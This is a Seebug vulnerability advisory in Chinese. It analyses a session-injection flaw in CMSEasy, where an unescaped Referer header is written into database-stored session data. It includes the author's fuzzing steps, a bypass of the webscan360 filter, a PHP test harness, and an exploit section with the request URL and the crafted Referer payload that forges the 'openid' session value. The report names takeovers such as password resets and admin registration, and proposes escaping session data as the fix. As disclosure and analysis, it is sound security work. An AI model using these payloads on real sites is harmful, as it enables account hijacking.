cmseasy的SQL注射漏洞(附分析和exp)

2014-10-29T00:00:00
ID SSV:94052
Type seebug
Reporter Root
Modified 2014-10-29T00:00:00

Description

简要描述:

cmseasy sql注射漏洞

详细说明:

先看 manage_act.php 174行

if(!session::get('from')) session::set('from',front::$from);

如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。 在 front_class.php 312-313

if (isset($_SERVER['HTTP_REFERER'])) self::$from=$_SERVER['HTTP_REFERER'];

看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。 之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..( WooYun: cmseasy 的一个高危漏洞(设计缺陷)


不多说了.上exp,先注册一个号 然后

/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1 来源 http://127.0.0.1/',DATA=0x6F70656E69647C733A313A2232223B,client_ip=' 改为这个

正当我觉得很顺利的时候,发现webscan360拦截了我, 新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。 还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,) 单引号不能使用,想了想

from|s:4:"2222";

结构是这样的,哪我 把2222 换成 ";openid|s:1:"2 能不能闭合呢. 结果处理成这样了

(不知道它如何 对session的转换代码,那自己只能fuzz测试了) 提交";openid|s:1:"2 from|s:15:"";openid|s:1:"2";

<img src="https://images.seebug.org/upload/201410/29150026a1c882848f7305adf26a1f300de18c31.jpg" alt="_sql.jpg" width="600" onerror="javascript:errimg(this);">

打印了 SESSION 发现闭合失败,15个字符包含其中,那我使用 转义符 "\" 把双引号转义掉,他这个字符就会少一个 提交

提交 :\";openid|s:1:"2 from|s:16:"";openid|s:1:"2"; s 16 但他只有15 转换后 变成了 from|N; 果然出错了,继续测试

提交 :\";\openid|s:1:\"2 数据库 : from|s:18:"";openid|s:1:"2"; 转换后的数据库中 : from|N;18:"";openid|s:1:"2"; 打印了代码,看来有戏 ["18:"";openid"]=&gt; string(1) "2"

我们继续闭合,我们需要让18:""; 这部分自成一个数据就好了。 经过我一番测试后 终于让他解析成功。

提交: |N;\openid|s:1:\"2\" 数据库 :from|s:20:"|N;openid|s:1:"2""; 转换后的数据库中 :from|N;20:"|N;openid|s:1:"2"; 打印的代码,解析成功了。 ["20:""]=&gt; NULL ["openid"]=&gt; string(1) "2"

分析补充: 标题:php某函数使用不当导致的漏洞 Cmseasy 使用了session_set_save_handler了,其作用是 把session存到数据库中,而代替 文件 而在我研究中 发现,使用session_set_save_handler 不当就很会出现问题,而任意操纵session,很可怕! session_set_save_handler php官网的介绍 write(string $sessionId, string $data) 在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。 序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。 PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。 //写 将 $_SESSION 中数据序列化 存入数据库中. read(string $sessionId) 如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。 在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。 read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。 // 反序列化数据库中的 session 然后返回。 Cmseasy中是这样的 : __construct 构造函数 session_start(); $this->refresh(session_id()); Refresh -> gc //目的就是看时间差来判断 session过期了没有,如果过期了就删除掉这条session数据 读取的时候 会先从数据库中读取出来 然后 return $result ['data']; 然后 反序列化( session_decode() ) $result ['data'];数据并填充 $_SESSION 超级全局变量, 之后在调用 write 用把 $_SESSION数据序列化( SESSION_ENCODE()) ,的数据写入数据库,并更新时间“update_time”(表示自己还在活动中)。 使用出错就出错在 write 没有把数据进行转义处理,而导致的解析出错。 我们来看 (我先自己在他的框架内做的测试 $_SESSION[‘TEST’] = $_POST[‘a’] //我自己测试方便去掉了 实体化。 ) 我们提交 一个 “ \ ”他所对应的sql中就是TEST|s:2:"\"; 插入数据库中 就会变成TEST|s:2:"\"; 因为 \是转义符啊。而它php自己处理的session序列化值却不认这个符号 把他当作普通字符串来序列化。 显然 按照它的流程来的话,读取了这个值就会出现无法反序列化的情况。 数据会变成 TEST|N; 空值,这个一个bug 导致了问题的出现。 现在我们来尝试闭合它,来创建其他的值。 提交 |N;\ 为什么提交这个?因为 |N;来满足他后面的闭合 用 转义符让他的结构出错。 TEST|s:5:"|N;\"; -> null 我们自己加一个值呢?加个 ooo 值吧

提交的:|N;ooo|s:2:"aa"\ 数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\"; 已经解析写入数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\"; ["TEST"]=&gt; NULL ["20:""]=&gt; NULL ["ooo"]=&gt; string(2) "aa"

居然成功解析掉了, 在 archive_act.php中。有一段讲搜索记录存入session中的代码。 256-258

if (front::post('keyword')) { $this-&gt;view-&gt;keyword = trim(front::post('keyword')); session::set('keyword', trim(front::post('keyword'))); //存入。

我知道cmseasy全局都实体化了。中间测试fuzz费劲,,最后成功了,但是只能使用 int类型的,

提交的:N|openid|i:1;"1"\ , 数据库:keyword|s:40:"N|openid|i:1;|xx|s:1:\\\&quot;1\\\&quot;"; 已经解析写入数据库中 :keyword|N;30:"N|N;openid|i:1; ["keyword"]=&gt; NULL ["30:"N"]=&gt; NULL ["openid"]=&gt; int(1) ["username"]=&gt; string(10) "test_Noxxx"

还有个地方提下, manage_act.php 174行

if(!session::get('from')) session::set('from',front::$from);

如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。 在 front_class.php 312-313

if (isset($_SERVER['HTTP_REFERER'])) self::$from=$_SERVER['HTTP_REFERER'];

看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的。 (新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。 还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,)) 这里的和 上面做了转义处理没做实体化处理的同理 Referer: |N;openid|s:1:\"2\"\ 这样即可 这个有好几个利用 比如 user_act.php 中的 edit_action函数内的userid 任意修改密码,再比如 respond_action 函数中的openid 注册管理员。 最后附上几个 测试的代码

&lt;?php /* CREATE TABLE `ws_sessions` ( `session_id` varchar(255) binary NOT NULL default '', `session_expires` int(10) unsigned NOT NULL default '0', `session_data` text, PRIMARY KEY (`session_id`) ) TYPE=MyISAM; */ class session { // session-lifetime var $lifeTime; // mysql-handle var $dbHandle; function open($savePath, $sessName) { // get session-lifetime $this-&gt;lifeTime = get_cfg_var("session.gc_maxlifetime"); // open database-connection $dbHandle = @mysql_connect("localhost","name","pwd"); $dbSel = @mysql_select_db("db",$dbHandle); // return success if(!$dbHandle || !$dbSel) return false; $this-&gt;dbHandle = $dbHandle; return true; } function close() { $this-&gt;gc(ini_get('session.gc_maxlifetime')); // close database-connection return @mysql_close($this-&gt;dbHandle); } function read($sessID) { // fetch session-data $res = mysql_query("SELECT session_data AS d FROM ws_sessions WHERE session_id = '$sessID' AND session_expires &gt; ".time(),$this-&gt;dbHandle); // return data or an empty string at failure if($row = mysql_fetch_assoc($res)) return $row['d']; return ""; } function write($sessID,$sessData) { // new session-expire-time $newExp = time() + $this-&gt;lifeTime; // is a session with this id in the database? $res = mysql_query("SELECT * FROM ws_sessions WHERE session_id = '$sessID'",$this-&gt;dbHandle); // //$sessData = addslashes($sessData); if(mysql_num_rows($res)) { // ...update session-data mysql_query("UPDATE ws_sessions SET session_expires = '$newExp', session_data = '$sessData' WHERE session_id = '$sessID'",$this-&gt;dbHandle); // if something happened, return true if(mysql_affected_rows($this-&gt;dbHandle)) return true; } // if no session-data was found, else { // create a new row mysql_query("INSERT INTO ws_sessions ( session_id, session_expires, session_data) VALUES( '$sessID', '$newExp', '$sessData')",$this-&gt;dbHandle); // if row was created, return true if(mysql_affected_rows($this-&gt;dbHandle)) return true; } // an unknown error occured return false; } function destroy($sessID) { // delete session-data mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this-&gt;dbHandle); // if session was deleted, return true, if(mysql_affected_rows($this-&gt;dbHandle)) return true; // ...else return false return false; } function gc($sessMaxLifeTime) { // delete old sessions mysql_query("DELETE FROM ws_sessions WHERE session_expires &lt; ".time(),$this-&gt;dbHandle); // return affected rows return mysql_affected_rows($this-&gt;dbHandle); } } $session = new session(); session_set_save_handler(array(&$session,"open"), array(&$session,"close"), array(&$session,"read"), array(&$session,"write"), array(&$session,"destroy"), array(&$session,"gc")); session_start(); if (!empty($_GET['v'])){ var_dump($_SESSION);exit; } $_POST = daddslashes($_POST); $_SESSION['test']=$_POST['s']; function daddslashes($string, $force = 1) { if (is_array($string)) { $keys = array_keys($string); foreach ($keys as $key) { $val = $string[$key]; unset($string[$key]); $string[addslashes($key)] = daddslashes($val, $force); } } else { $string = (addslashes(trim($string))); } return $string; } ?&gt;

session_start(); var_dump(session_decode('test|s:20:"|N;ooo|s:2:"aa";\";'));

下了分php的源码但是不怎么明白..怎么执行的。最后都调用来的 php_var_unserialize ,。。 最后说一下 这个也算是php的一个小bug把。我查看php官网上session_set_save_handler 函数 说明 好像并没有看见说明安全性的问题...广大朋友要注意这一点了。。 漏洞证明: 见详细说明 解决方案 : write 中转义data

漏洞证明:

给个exp: 登录状态 /cmseasy/index.php?case=manage&act=edit&manage=archive&id=1 Referer: |N;\openid|s:1:\"2\"

<img src="https://images.seebug.org/upload/201410/29151701dce0cfd070ddb2669917587f3bf66a67.jpg" alt="11_.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201410/291518143ebebd3480808fce5a3214dbe8b8f0b6.jpg" alt="22_.jpg" width="600" onerror="javascript:errimg(this);">

利用方法很多,用到session地方都可以伪造,参考 WooYun: cmseasy 的一个高危漏洞(设计缺陷) ,